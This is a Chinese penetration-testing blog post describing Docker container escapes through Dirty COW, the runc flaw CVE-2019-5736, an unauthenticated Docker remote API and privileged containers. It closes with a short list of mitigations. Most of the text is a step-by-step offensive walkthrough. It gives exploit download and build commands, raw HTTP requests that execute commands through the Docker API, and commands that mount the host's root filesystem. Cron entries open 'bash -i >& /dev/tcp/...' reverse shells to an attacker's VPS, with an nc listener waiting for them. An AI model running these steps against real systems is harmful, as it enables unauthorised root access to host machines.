docker逃逸的几种方法以及其原理

最新推荐文章于 2024-06-18 13:31:09 发布
最新推荐文章于 2024-06-18 13:31:09 发布
阅读量10w+ 收藏 66
点赞数 13
分类专栏： 渗透测试基础知识 应用漏洞 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41874930/article/details/109216506
版权

CATALOG

前言

获取某个系统shell后发现其是docker，这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。这里提供几种思路。

  1. 利用dirty cow来进行docker逃逸
  2. cve-2019-5736
  3. docker配置不当

利用dirty cow来进行docker逃逸

1.前置知识

  1. VDSO其实就是将内核中的.so文件映射到内存，.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件。
  2. 在Linux中，有一个功能：VDSO(virtual dvnamic shared object),这是一个小型共享库，能将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中，方便大家访问。

2.利用dirty cow与VDSO来实现docker逃逸的过程

dirty cow漏洞可以让我们获取只读内存的写的权限，我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中，然后改变函数的执行顺序，使得调用正常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会检查是否是被root调用，如果是则继续执行，如果不是，则接着执行clock_gettime函数，接下来它会检测/tmp/.X文件的存在，如果存在，则这时已经是root权限了，然后它会打开一个反向的TCP链接，为Shellcode中填写的ip返回一个Shell。

这种利用方法利用成功的前提是，宿主机的内核有dirty cow漏洞。

3.利用过程

1.判断是否为docker环境

  • ls -alh /.dockerenv
    docker环境中根目录下存在此文件
    在这里插入图片描述
  • 查看系统进程的cgroup信息
    cat /proc/1/cgroup
    在这里插入图片描述

2.下载脚本

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

在这里插入图片描述

3.利用脚本

./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

4.利用结果

我们直接反弹宿主机的shell到127.0.0.1如图所示
在这里插入图片描述
这时候我们进入root文件夹内创建一个任意文件，这里文件名我们定义为random_file。
在这里插入图片描述
这时候我们进入宿主机看看(由于是实验环境，所以我们可以通过正常的渠道直接进入宿主机看漏洞利用情况)：
在这里插入图片描述
发现宿主机上有我们刚创建的文件，至此docker逃逸成功。

可以通过i春秋的练习环境来进行此实验:
利用Dirty Cow实现Docker逃逸

通过cve-2019-5736来达到docker逃逸

1.利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为：

  1. runc版本<=1.0-rc6
  2. Docker Version < 18.09.2

2.漏洞触发过程

首先我们得有一个docker下的shell，第二步修改利用脚本中的反弹shell命令，第三步使用go build来编译脚本，第四步将脚本上传到docker中，第五步等待宿主机执行exec进入当前docker容器等时候，宿主机就会向我们的vps反弹root权限的shell。

3.具体操作

第一步：确定docker环境

  • ls -alh /.dockerenv
    docker环境中根目录下存在此文件
  • 查看系统进程的cgroup信息
    cat /proc/1/cgroup

第二步：下载利用脚本并修改

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改\n后面的命令为反弹shell命令即可。
在这里插入图片描述

第三步：编译脚本

go build main.go

在这里插入图片描述

第四步：将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可，这里不做演示。

第五步：执行脚本并等待此docker再次被exec

docker exec -it test /bin/bash
如上命令的含义是进入test这个容器，当宿主机上执行exec命令来进入我们运行了脚本的容器的时候，宿主机就会反弹root权限的shell给我们的vps的监听端口，至此利用结束。

4.对此种方式利用的理解

这种方式利用的条件其实比较苛刻，主要苛刻在宿主机必须有人执行exec命令进入当前docker环境，如果没有人在宿主机执行的话，是无法进行docker逃逸的。

配置不当导致docker逃逸

1.docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务，可以通过HTTP、Python、调用API来操作Docker。由于环境复杂，这里借用freebuf上的图片。

确定docker remote api是否可访问

直接在浏览器中输入http://ip:2375/version
在这里插入图片描述

漏洞利用

  1. 访问http://ip:2375/containers/json看是否出现以下画面：
    在这里插入图片描述
  2. 创建一个包，得到返回的exec_id的参数，数据包内容如下：

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

在这里插入图片描述
注意其中的cmd字段，这个就是要执行的命令。

  1. 得到exec_id参数后构造第二个exec_start数据包，内容如下：

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
“Detach”: false,
“Tty”: false
}
然后发送后会得到结果：
在这里插入图片描述
至此成功获取到docker主机的命令执行权限，但是还无法逃逸到宿主机。

  1. 在docker容器内安装docker作为client
    apt-get install docker.io
    yum -y install docker
  2. 查看宿主机的docker image信息
    docker -H tcp://宿主机ip:2375 images
  3. 启动一个容器并且将宿主机的根目录抓再到容器的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

  1. 写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
  1. 在vps上使用nc命令等待反弹过来的shell
    nc -lvp 8888

利用特权模式逃逸

漏洞原理

使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。

漏洞利用

  1. 查看磁盘文件
    fdisk -l
    在这里插入图片描述
  2. 将/dev/vda1也就是磁盘挂在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan

在这里插入图片描述
此时这个nuoyan文件夹就相当于对方主机的根目录，可以进行写文件操作。

  1. 写入计划任务
echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
  1. 在vps上等待shell反连接
    nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged（特权模式）启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险

参考文章

初识Docker逃逸

docker容器逃逸案例汇集

Shanfenglan7
关注
  • 13
    点赞
  • 踩
  • 66
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
专栏目录
docker部署应用的三种方式——最后一种直接使用shell脚本一键化部署
个人学习笔记库，一篇一篇记录成长的足迹
07-24 1069
docker部署应用的三种方式——最后一种直接使用shell脚本一键化部署
Docker容器逃逸-特权模式-危险挂载-Procfs
XXokok的博客
04-18 976
Docker容器逃逸-特权模式-危险挂载-Procfs
生命在于学习——docker逃逸
易水哲的博客
12-02 4666
docker逃逸就是从当前docker容器权限中逃逸出来，获得宿主机的权限。
docker逃逸方法汇总与简要分析
最新发布
白帽黑客鹏哥的博客
06-18 959
Docker Remote API 是一个取代远程命令行界面（rcli）的REST API，它允许用户通过RESTful API与Docker引擎进行交互，这意味着开发人员可以使用HTTP请求来远程管理和控制Docker引擎，包括创建、启动、停止和删除容器，构建和管理镜像，以及执行其他与Docker相关的操作。
docker执行容器内的shell_Docker 容器shell
weixin_39817215的博客
12-21 1804
版权所有，未经许可，禁止转载Docker镜像是一个文件系统，有时需要进入容器内部的shell，例如：查看配置文件的内容。正在运行的容器，可以通过docker exec命令进入它的shell终端：docker exec -it /bin/bash-i 标志告诉docker保持stdin打开(以便您可以输入命令)。-t 标志分配一个伪tty。举例说明1. 运行nginx镜像[root@qikegu ...
【Docker】Docker逃逸小结
woodwhale的博客
03-28 1806
docker逃逸小结
docker实战-容器安装脚本编写（shell基本用法）
灰太狼的小秘密
01-24 2536
一、基础知识 1.1 shell语句 （1）shell判断语句 shell脚本中$?是指上一次命令执行的成功或者失败的状态。如果成功就是0，失败为1.。语句if [ $? -eq 0 ] 是判断if语句的上一个命令执行如果成功就执行if中的语句，否则就执行else中的内容。 cd u-boot if [ $? -eq 0 ]; then echo "====Build uboot ok!====" else echo "====Build uboot failed!====" ex
【转】Docker逃逸那些事儿
tpriwwq的专栏
06-02 657
Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。通过利用某种手段，再结合执行EXP或POC，就可以返回一个宿主机的高权限shell，并拿到宿主机的root权限，可以直接操作宿主机文件，从容器中逃了出来，因此我们将其称为Docker逃逸漏洞。
Docker创建镜像两种方法详解
09-30
主要介绍了 Docker创建镜像两种方法详解的相关资料,Docker创建镜像：一是使用docker commit命令，二是使用docker build命令和Dockerfile文件，需要的朋友可以参考下
Docker容器互相连接三种实现方法详解
01-09
Docker链接在旧版本Docker中常用，但在新版本中，由于Docker Networking的引入，其重要性有所降低，但仍是一种有用的连接手段，尤其是在需要跨宿主机通信时。理解并掌握这三种方法，可以帮助我们更好地管理和构建...
详解Docker镜像提交命令commit的工作原理和使用方法
01-10
在本地创建一个容器后，可以依据这个容器创建本地镜像，并可把这个镜像推送到Docker hub中，以便在网络上下载使用。 下面我们来动手实践。 docker pull nginx:1.15.3 用命令行启动一个容器： docker run -d -p ...
关于在docker中执行linux shell命令介绍
hdxx2022的博客
08-12 948
本文主要介绍了在docker中执行linux shell命令的操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧在docker中执行shell命令，需要在命令前增加sh -c，例如：1否则，指令无法被正常解析。【Docker应用】 docker中执行指定脚本。
docker 结合shell使用方法，让你更理解docker的运行顺序
weixin_39689854的博客
03-13 748
注：echo -e 带参数代表遇到 \n 转义，但是遇到字符串也会转义，所以后面地址要加斜杠 requests.get(\"http://www.baidu.com\")/bin/bash -c \ #运行bash shell -c执行后面脚本。docker run -itd \ #不多解释，-itd带交互后台运行。\ #pip安装requests库。\ #运行1.py。
Docker容器逃逸
weixin_44720441的博客
08-23 1182
Docker容器逃逸指的是攻击者通过劫持容器化业务逻辑或直接控制（CaaS等合法获得容器控制权的场景）等方式，已经获得了容器内某种权限下的命令执行能力；攻击者利用这种命令执行能力，借助一些手段进而获得该容器所在的直接宿主机（当遇到“物理机运行虚拟机，虚拟机再运行容器”的场景时，该场景下的直接宿主机指容器外层的虚拟机）上某种权限下的命令执行能力。
shell篇---定时任务执行docker容器内的shell文件以及激活conda运行
心惠天意
12-15 1445
shell篇---定时任务执行docker容器内的shell文件以及激活conda运行
docker逃逸的几种方法
自知.的博客
05-09 1009
docker逃逸几点思路 1、docker daemon api未授权访问 2、privileged 特权模式启动容器 3、利用dirty cow来进行docker逃逸 4、通过cve-2019-5736来达到docker逃逸
Docker容器逃逸总结
SHELLCODE_8BIT的博客
03-12 2134
3.1 特权容器，特权容器下，所有capabiltiy都拥有，并且对设备/dev可见。1.1 条件竞争类dirtypipe + dac_search，dirtycow。以下几个如果被挂载，都会被可写，造成逃逸。1.2 内核漏洞,uaf等等。
docker镜像有几种方法
04-07
Docker镜像有以下几种方法： 1. 通过Dockerfile构建镜像。使用Dockerfile文件定义镜像的配置信息，然后使用docker build命令构建镜像。 2. 从Docker Hub下载镜像。Docker Hub是Docker官方的镜像仓库，包含了大量的官方和社区维护的镜像，可以通过docker pull命令下载镜像。 3. 从其他镜像仓库下载镜像。除了Docker Hub外，还有其他的镜像仓库如阿里云、腾讯云等，可以通过docker pull命令下载镜像。 4. 从本地导入镜像。可以将已经构建好的镜像保存为文件，然后通过docker load命令导入镜像。 5. 通过容器创建镜像。可以通过运行一个容器，并在容器中进行配置和修改，然后使用docker commit命令将容器保存为镜像。
评论 8
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值